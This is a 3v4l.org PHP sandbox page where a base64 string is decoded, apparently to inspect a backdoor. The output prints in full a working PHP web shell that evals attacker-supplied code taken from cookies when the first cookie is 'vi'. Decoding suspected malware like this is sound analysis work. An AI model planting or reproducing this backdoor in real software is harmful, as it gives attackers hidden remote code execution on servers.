3v4l.org

run code in 300+ PHP versions simultaneously
<?php $var='JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSk9PSd2aScgJiYgJGMoJGEpPjMpeyRrPSdjdG9yJztlY2hvICc8Jy4kay4nPic7ZXZhbChiYXNlNjRfZGVjb2RlKHByZWdfcmVwbGFjZShhcnJheSgnL1teXHc9XHNdLycsJy9ccy8nKSwgYXJyYXkoJycsJysnKSwgam9pbihhcnJheV9zbGljZSgkYSwkYygkYSktMykpKSkpO2VjaG8gJzwvJy4kay4nPic7f=='; echo base64_decode($var); $var = base64_encode('test'); echo $var; echo base64_decode($var);
Output for 7.1.0 - 7.1.20, 7.2.0 - 7.2.33, 7.3.12 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
$c='count';$a=$_COOKIE;if(reset($a)=='vi' && $c($a)>3){$k='ctor';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';dGVzdA==test
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.24 - 5.5.35, 5.6.8 - 5.6.21, 7.0.0 - 7.0.20
dGVzdA==test

preferences:
189.77 ms | 404 KiB | 313 Q